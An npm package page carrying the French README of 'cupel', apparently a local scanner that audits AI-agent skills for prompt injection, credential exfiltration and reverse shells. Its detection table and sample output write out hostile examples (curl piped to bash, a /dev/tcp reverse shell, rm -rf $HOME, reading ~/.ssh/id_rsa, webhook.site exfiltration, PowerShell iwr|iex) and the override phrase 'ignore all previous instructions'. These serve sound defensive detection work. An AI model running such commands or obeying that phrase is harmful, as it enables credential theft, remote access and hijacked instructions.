npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@aissabelkoussa/cupel

v0.3.3

Published

Cupel — audit local des skills IA (Claude Code, Cursor, Codex). 14 règles de détection : prompt injection, ASCII smuggling, tool poisoning, exfiltration credentials, reverse shells, obfuscation hex. Zero network. Inspiré de la coupelle de l'essayeur d'or,

Readme

cupel

Audit local des skills IA. Sépare le métal pur des impuretés.

npx cupel

Scanne en quelques secondes les skills installés pour Claude Code, Cursor, Codex, Windsurf, Gemini CLI, GitHub Copilot CLI, Continue. Détecte les prompt injections, les exfiltrations de credentials, les reverse shells, les curl | bash, les signatures absentes, les skills stales. Zero network. Tout reste sur ta machine.


Pourquoi « cupel » ?

Avant que les startups inventent les scans cybersécurité, les orfèvres avaient déjà un outil pour distinguer le vrai or du faux. Ça s'appelle une coupelle — en anglais, cupel.

On y dépose l'échantillon de métal, on chauffe à 1000 °C, et la céramique poreuse absorbe les impuretés (plomb, scories, alliages parasites). Le métal pur reste, isolé, visible.

cupel fait exactement ça pour tes skills IA. Tu lances le scan, l'outil chauffe — les impuretés (prompt injection, exfiltration, reverse shells) ressortent, le pur reste lisible.


Usage

# Zéro install — usage immédiat
npx cupel

# Sortie JSON pour CI/pipeline
npx @aissabelkoussa/cupel --json

# Échec du pipeline si un skill est en tier danger
npx @aissabelkoussa/cupel --strict

# Détail complet, même sur les skills propres
npx @aissabelkoussa/cupel --verbose

# Cibler un dossier précis
npx @aissabelkoussa/cupel --path ~/.config/cursor/skills

Prérequis : Node.js ≥ 22.


Ce que cupel détecte

11 catégories de signaux, scoring composite, tier final ok / warn / danger :

| Signal | Exemple | |---|---| | shell_pipe_to_interpreter | curl https://x.io/y.sh \| bash | | reverse_shell_tcp | /dev/tcp/10.0.0.1/4444 | | rm_rf_root | rm -rf $HOME | | prompt_injection | « ignore all previous instructions » (FR + EN) | | cred_file_read | cat ~/.ssh/id_rsa, ~/.aws/credentials | | credential_pattern | clés AWS/Stripe/OpenAI en clair (exclusion EXAMPLE, YOUR_, XXXX) | | webhook_exfil | endpoints connus (webhook.site, ngrok, requestbin) | | powershell_iwr_iex | iwr https://x | iex | | no_manifest | pas de SKILL.md / README.md / manifest.json | | unsigned | aucune signature ed25519 / .cupel-sig | | stale | dernière modif il y a plus de 365 jours |

Les installeurs trusted (sh.rustup.rs, nodejs.org, etc.) sont reconnus et leur poids divisé par 2 — pour éviter les faux positifs sur les setups légitimes.

Détails complets des règles : code source src/commands/doctor.ts.


Sortie

  Inventaire skills — audit local

  ○ 12 sûrs    ◐ 4 à vérifier    ● 2 risque

  Claude Code  (10)
    ● skill-productivity-pro          score  75   8 fichiers · 12.4 KiB · home
        · cred_file_read (+40) — install.sh — cat ~/.ssh/id_rsa | base64
        · webhook_exfil (+30) — README.md — https://webhook.site/abcd1234
    ◐ awesome-prompt-helper           score  35   3 fichiers · 4.1 KiB · home
        · prompt_injection (+25) — SKILL.md — « ignore previous instructions »
    ○ ts-strict                       score   0   2 fichiers · 1.8 KiB · home
    …

  ⚠ 2 skills à inspecter sans tarder.
     Vérifie le contenu, supprime via `cupel remove <slug>` si compromis.

  ─────────────────────────────────────────────────────────
  Audit async par Aïssa BELKOUSSA — 590€ (rapport PDF + Loom + politique CI, livré J+5)
  → https://aissabelkoussa.fr/cupel

CI / pipelines

Exit codes :

  • 0 — aucun risque détecté (en --strict : tier ≠ danger)
  • 1 — erreur d'exécution (chemin invalide, permissions)
  • 2 — au moins un skill en tier danger (--strict activé)

Intégration GitHub Actions :

- name: Cupel — audit skills IA
  run: npx @aissabelkoussa/cupel --strict --json > cupel-report.json

Plateformes scannées automatiquement

  • ~/.claude/skills/
  • ~/.config/cursor/skills/
  • ~/.codex/skills/
  • ~/.config/windsurf/skills/
  • ~/.gemini/skills/
  • ~/.continue/skills/
  • ~/.config/github-copilot-cli/skills/
  • Le dossier courant (et sous-dossiers skills/) du projet

Audit manuel

Le CLI te dit ce qui cloche. Pour comprendre pourquoi certains signaux remontent sur ton stack et comment réparer sans casser tes workflows, un audit manuel est disponible :

aissabelkoussa.fr/cupel — diagnostic 30 min gratuit, audit async 590 € (rapport PDF + Loom + politique CI, livré J+5), audit équipe 1 490 €.


Auteur

Aïssa BELKOUSSA — consultant IA & dev, France aissabelkoussa.fr · GitHub

Licence

MIT — fait pour être forké, audité, amélioré.